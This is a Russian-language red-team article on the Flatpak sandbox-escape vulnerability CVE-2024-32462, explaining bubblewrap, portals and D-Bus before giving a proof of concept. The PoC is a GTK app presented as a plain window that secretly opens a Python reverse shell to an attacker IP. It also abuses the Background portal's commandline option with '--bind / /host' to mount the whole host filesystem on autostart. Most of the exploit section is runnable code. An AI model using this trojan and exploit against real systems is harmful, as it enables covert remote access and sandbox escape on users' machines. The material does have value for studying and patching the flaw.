Vulnerability
May 7

Flatpak CVE-2024-32462

Введение

18 апреля 2024 года в системе Flatpak была обнаружена уязвимость открывающая возможность вредоносному или скомпрометированному приложению, упакованному в формате Flatpak, обойти установленный режим изоляции sandbox и получить доступ к файлам в основной системе.

Найденная уязвимость получила идентификатор CVE-2024-32462 и балл CVSS равный 8,4 (высокий).

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

В данной статье мы не только посмотрим на эту уязвимость, но и подробно разберем основные механизмы безопасности Flatpak, выявив основные векторы атаки на хостовую систему из скомпрометированного контейнера с приложением.

Flatpak

Flatpak - это система управления пакетами в Linux, предназначенная для упрощения установки, обновления и запуска приложений. Она основана на контейнеризации, которая позволяет упаковывать приложения со всеми необходимыми зависимостями в изолированные контейнеры.

Каждый контейнер содержит не только само приложение, но и все зависимости, необходимые для его исполнения, что обеспечивает надежную и независимую среду для его работы. Это позволяет пользователям устанавливать и запускать приложения без необходимости беспокоиться о конфликтах зависимостей или изменениях в системе. Кроме того, Flatpak обеспечивает изоляцию приложений от остальной системы, что повышает безопасность и стабильность операционной системы Linux.

Прежде чем перейти к описанию уязвимости, важно разобрать несколько механизмов работы Flatpak.

Песочницы

Одна из основных целей Flatpak - повысить безопасность настольных систем за счет изоляции приложений друг от друга. Это достигается с помощью песочницы и означает, что по умолчанию приложения, запускаемые с Flatpak, имеют чрезвычайно ограниченный доступ к среде хоста. Это включает:

  • Отсутствие доступа к каким-либо файлам хоста, кроме среды выполнения.
  • Отсутствие доступа к сети.
  • Отсутствие доступа к каким-либо узлам устройства (кроме /dev/null и т.п.)
  • Отсутствие доступа к процессам вне песочницы.
  • Ограниченные системные вызовы. Например, приложения не могут использовать нестандартные типы сетевых сокетов или отслеживать другие процессы ptrace.
  • Ограниченный доступ к экземпляру сеанса D-Bus.
  • Нет доступа к хост-службам, таким как X11, системный D-Bus или PulseAudio.

Большинству приложений, чтобы быть полезными, потребуется доступ к некоторым из этих ресурсов. Чтобы его получить, разработчик либо явно указывает необходимость доступа к тому или иному ресурсу в конфигурации, либо использует специальные интерфейсы, которые называются порталами.

Важно отметить, что сам Flatpak не реализует песочницы, а использует инструмент bwrap.

Bubble Wrap

Bubble Wrap (bwrap) — это низкоуровневый и непривилегированный инструмент для создания песочниц.

Многие инструменты для запуска контейнеров, такие как systemd-nspawn, docker и т. д., ориентированы на предоставление инфраструктуры для системных администраторов и инструментов оркестровки (например, Kubernetes). Их не стоит предоставлять непривилегированным пользователям, поскольку такой доступ легко превратить в полностью привилегированный root shell на хосте.

В ядре Linux существует проект под названием user namespaces, который пытается позволить непривилегированным пользователям использовать возможности контейнеров. Хотя был достигнут значительный прогресс, все еще существуют опасения, и он недоступен для непривилегированных пользователей в некоторых продакшн дистрибутивах, таких как CentOS/Red Hat Enterprise Linux 7, Debian Jessie и т. д.

Посмотрите, например, CVE-2016-3135 - уязвимость позволяющая локальному пользователю повысить привилегии с помощью userns.

Bubblewrap можно рассматривать как реализацию setuid для подмножества пользовательских пространств имен. Акцент на подмножестве - если говорить конкретно о приведенном выше CVE, то bubblewrap не позволяет контролировать iptables.

Однако оригинальный код bubblewrap существовал до появления user namespaces - он наследует код от xdg-app helper, который, в свою очередь, отдаленно происходит от linux-user-chroot.

Разработчики этого инструмента считают, что он не позволяет повысить привилегии, даже если используется в сочетании с обычным программным обеспечением, установленным в дистрибутиве.

В частности, bubblewrap использует PR_SET_NO_NEW_PRIVS для отключения двоичных файлов setuid, что является традиционным способом избавления от таких вещей, как chroots.

Стоит сказать, что bubblewrap - это не то ПО, которое предоставляет готовую "песочницу" с определенной политикой безопасности. В некоторых вариантах использования bubblewrap требуется граница безопасности между изолированной средой и реальной системой; в других вариантах использования требуется возможность изменять расположение файловой системы для процессов внутри изолированной среды, но не ставится цель создания границы безопасности. В результате уровень защиты между изолированными процессами и хост-системой определяется аргументами, передаваемыми bubblewrap.

Как упоминалось выше, при упаковке приложения во Flatpak в файле конфига(манифеста) указываются различные разрешения, требуемые для работы. Например, если приложению нужен доступ к сети, в списке finish-args: будет присутствовать аргумент --share=network. Далее эти аргументы используются в конце сборки и там превращаются в аргументы для bubblewrap. В нашем примере, при запуске приложения, в bwrap будет передан аргумент --share-net.

Порталы

Порталы представляют собой основу для предоставления доступа к ресурсам за пределами песочницы, включая:

  • Открытие файлов с помощью диалогового окна выбора файлов
  • Открытие URI
  • Печать
  • Отображение уведомлений
  • Создание скриншотов
  • Запрет на завершение, приостановку, простаивание или переключение сеанса пользователя
  • Получение информации о состоянии сети

Во многих случаях порталы используют системный компонент для неявного запроса разрешения у пользователя перед предоставлением доступа к определенному ресурсу.

Неявные запросы от порталов заключаются в том, что пользователь всегда будет участвовать в удовлетворении или отклонении запроса. Таким образом, большинство портальных API приводят к взаимодействию с пользователем в виде диалогов.

Например, портал выбора файлов открывает нативную программу-селектор файлов в хост-системе. Когда пользователь делает выбор, приложению предоставляется доступ только к выбранному файлу.

Такой подход позволяет приложениям не настраивать пустой доступ к большим объемам данных или сервисов и дает пользователям контроль над тем, к чему имеют доступ их приложения.

Изначально порталы возникли в рамках проекта Flatpak, но сейчас они являются общепринятым стандартом для десктопных Linux и поддерживаются GNOME, KDE и Snapcraft. Они используются даже вне песочниц, чтобы обеспечить стандартизированный API для таких распространенных функций рабочего стола, как скриншоты и запись экрана на wayland.

D-Bus

Порталы в Linux дистрибутивах реализуются за счет D-Bus.

D-Bus, также известная как Desktop Bus, облегчает взаимодействие между приложениями и системными процессами в Linux. Она является центральным узлом для обмена сообщениями и реагирования на системные события. Когда приложение хочет отправить сообщение другому приложению, оно отправляет его dbus-демону, который гарантирует, что сообщение дойдет до адресата.

Flatpak предоставляет контейнерам доступ к этой шине через себя, как прокси. В целях безопасности он фильтрует запросы по D-Bus, но org.freedesktop.portal почти всегда доступен, если приложение хоть как-то взаимодействует с системой.

Подводя итог, можно построить следующую схему:

Стрелками показаны каналы, по которым у приложения может быть доступ к системе хоста.

Также важно помнить, что все разрешения контролируются пользователем, и даже если в приложении они были заложены, пользователь может их отключать.

Описание уязвимости

Уязвимость является инъекцией аргументов в команду для запуска bwrap контейнера. Проблема заключается в неправильной обработке аргументов командной строки при запуске команд внутри bwrap контейнера из Flatpak.

Например, обычно аргумент --command программы flatpak run предполагает передачу команды для запуска в указанном приложении Flatpak, опционально с некоторыми аргументами. Например:

flatpak run --command=ls org.gnome.gedit

В версиях Flatpak, имеющих эту уязвимость, можно передать длинное имя опции в --command=, например --bind, и оно будет неверно интерпретировано как опция bwrap. Например, можно сделать так:

flatpak run --command=--bind org.gnome.gedit / /host ls -l /host

Что в итоге запустит:

bwrap ...lots of stuff... --bind / /host ls -l /host

Аргумент --bind монтирует директорию из хостовой системы в контейнер, принимая в качестве значений путь на хосте и конечный путь в контейнере. В приведённом примере он монтирует коренной каталог хостовой системы в директорию /host в контейнере.

Далее указывается команда, которая будет выполнена: ls -l /host

В итоге получаем доступ на чтение и запись всей файловой системы хоста и выполнение команды её листинга при старте.

Но данный пример подразумевает запуск команды flatpak, а следовательно работу со стороны хостовой системы. А нам интересен именно вектор атаки со стороны скомпрометированного контейнера.

Оказывается, что такую же произвольную командную строку можно передать портальному интерфейсу org.freedesktop.portal.Background.RequestBackground из самого приложения Flatpak. Обычно это безопасно, поскольку можно указать только команду, существующую внутри песочницы. Но когда созданная командная строка преобразуется в значение аргумента --command, приложение может добиться того же эффекта, что и при передаче аргументов непосредственно bwrap, и, следовательно, выйти из песочницы.

Proof of concept

Подготовка стенда

Ниже предоставлен код рабочего приложения, которое будет установлено у пользователя. В нашем случае это пустое окно с текстом.

Код приложения (main.py):

#!/usr/bin/python3

import gi
gi.require_version("Gtk", "3.0")

from gi.repository import Gtk

import sys
from multiprocessing import Process

def shell():
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.2.221",9002))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    import pty
    pty.spawn("sh")


class BackgroundApplication(Gtk.Application):
    def __init__(self):
        super().__init__(
            application_id='com.example.BackgroundApplication'
        )

    def do_activate(self):
        pass

    def do_startup(self):
        Gtk.Application.do_startup(self)
        self.__main_window = MainWindow(self)
        self.__main_window.show()


class MainWindow(Gtk.ApplicationWindow):
    def __init__(self, application):
        super().__init__(application=application, title="Test application")
        self.__application = application

        grid = Gtk.Grid(
            margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6
        )
        grid.show()
        self.add(grid)

        label = Gtk.Label(label="GIScyberteam")
        label.show()
        grid.add(label)


if __name__ == '__main__':
    p1 = Process(target=shell)
    p1.start()

    app = BackgroundApplication()
    app.run(sys.argv)

    p1.join()

Для пользователя это просто оконное приложение, но в нем реализован бэкконект с обратным шелом на ip злоумышленника.

Конфигурация (com.example.BackgroundApplication.yaml):

app-id: com.example.BackgroundApplication
runtime: org.gnome.Platform
runtime-version: '45'
sdk: org.gnome.Sdk
command: main.py
finish-args:
- --share=ipc
- --socket=x11
- --socket=wayland
- --share=network
modules:
  - name: background-application
    buildsystem: simple
    build-commands:
    - install -m755 main.py -Dt /app/bin
    - install com.example.BackgroundApplication.desktop -Dt /app/share/applications
    sources:
    - type: file
      path: main.py
    - type: file
      path: com.example.BackgroundApplication.desktop

Обратите внимание на разрешения, указанные в finish-args:. У данного приложения есть доступ к оконным системам X11 и Wayland, а также доступ в сеть. Самое важное, что у него нет доступа к файловой системе хоста.

flatpak-builder build com.example.BackgroundApplication.yaml --install --user --force-clean

Запуск приложения из командной строки:

flatpak run com.example.BackgroundApplication

На машине злоумышленника, если запустить netcat, который слушает нужный порт, в момент запуска приложения появится обратный shell.

Эксплуатация уязвимости

В качестве примера эксплуатации уязвимости получим доступ ко всей файловой системе хоста.

Инъекцию будем проводить в команду для автоматического запуска приложения при старте системы.

Добавить приложение в автоматический запуск при старте можно использовав метод RequestBackground портала org.freedesktop.portal.Background, который мы упоминали в описании уязвимости.

Мы внедрим данный функционал напрямую в код приложения, хотя достичь подобного результата можно разными способами. Например, в реальном кейсе, чтобы не зависеть от самого скомпрометированного приложения, можно воспользоваться инструментом gdbus call и отправить запрос прямо из обратного шела.

Итоговый код получается следующий:

#!/usr/bin/python3

import gi
gi.require_version("Gtk", "3.0")

from gi.repository import GLib
from gi.repository import Gio
from gi.repository import Gtk
from random import randint

import sys
from multiprocessing import Process

def shell():
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.2.221",9002))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    import pty
    pty.spawn("sh")

class BackgroundApplication(Gtk.Application):
    def __init__(self):
        super().__init__(
            application_id='com.example.BackgroundApplication'
        )
        self.__request_on_startup = False

    def do_activate(self):
        pass

    def do_startup(self):
        Gtk.Application.do_startup(self)
        self.__main_window = MainWindow(self)
        self.__main_window.show()

    def request_background(self):
        proxy = Gio.DBusProxy.new_for_bus_sync(
            Gio.BusType.SESSION,
            0,
            None,
            'org.freedesktop.portal.Desktop',
            '/org/freedesktop/portal/desktop',
            'org.freedesktop.portal.Background',
            None
        )
        token = 0 + randint(10000000, 90000000)
        options = {
            'handle_token': GLib.Variant('s', f'com/example/BackgroundApplication/{token}'),
            'reason': GLib.Variant('s', 'Autostart'),
            'autostart': GLib.Variant('b', True),
            'background': GLib.Variant('b', False),
            'commandline': GLib.Variant('as', ["--bind", "/", "/host", "main.py"]),
            'dbus-activatable': GLib.Variant('b', False),
        }
        proxy.RequestBackground('(sa{sv})', '', options)


class MainWindow(Gtk.ApplicationWindow):
    def __init__(self, application):
        super().__init__(application=application, title="Test application")
        self.__application = application

        grid = Gtk.Grid(
            margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6
        )
        grid.show()
        self.add(grid)

        label = Gtk.Label(label="GIScyberteam")
        label.show()
        grid.add(label)

        self.__application.request_background()


if __name__ == '__main__':
    p1 = Process(target=shell)
    p1.start()

    app = BackgroundApplication()
    app.run(sys.argv)

    p1.join()

Основные изменения — это добавление функции отправки запроса порталу и её вызов после отрисовки окна.

Запрос порталу def request_background(self) в основном состоит из указания имен портала и вызываемого метода, а также из опций, передаваемых методу.

Рассмотрим самые важные для нас опции:

  • autostart - принимает булево значение, указывает надо ли приложению запускаться при старте.
  • background - принимает булево значение, указывает запускается ли приложение в фоне.
  • commandline - принимает массив из строк, первое значение которого — команда для запуска(аналогично аргументу --command у flatpak run), а последующие — аргументы приложения.

В нашем случае, для совершения инъекции, опция commandline заполняется следующим массивом:

["--bind", "/", "/host", "main.py"]

Чтобы в итоге эти строки передались как аргумент bwrap в виде:

bwrap ...lots of stuff... --bind / /host main.py

Как это выглядит со стороны хоста:

  • В директории ~/.config/autostart/ появляется специальный файл запуска приложения
  • В содержимом данного файла наблюдаем команду запуска в параметре Exec=.
Интересный факт заключается в том, что несмотря на наличие в названии портального метода слова Request и вопреки цели, с которой разработчики используют порталы, в итоге у пользователя никто не спрашивает разрешения, приложение просто добавляется в автозапуск.

Следующим этапом мы ждем перезапуска хостовой системы. После её перезапуска и повторного получения доступа в контейнер мы можем наблюдать, что в корневом каталоге контейнера присутствует новая директория /host в которую смонтирована файловая система хоста.

Вывод

В заключении хочется сказать, что быстрое развитие десктопных дистрибутивов Linux, включая принятие технологий изоляции большинства приложений в контейнерах, ставит перед сообществом ИБ новые вызовы в области безопасности. Обнаружение уязвимостей, таких как те, которые были выявлены в пакетном менеджере Flatpak, является важным шагом для обеспечения безопасности пользователей и защиты их данных.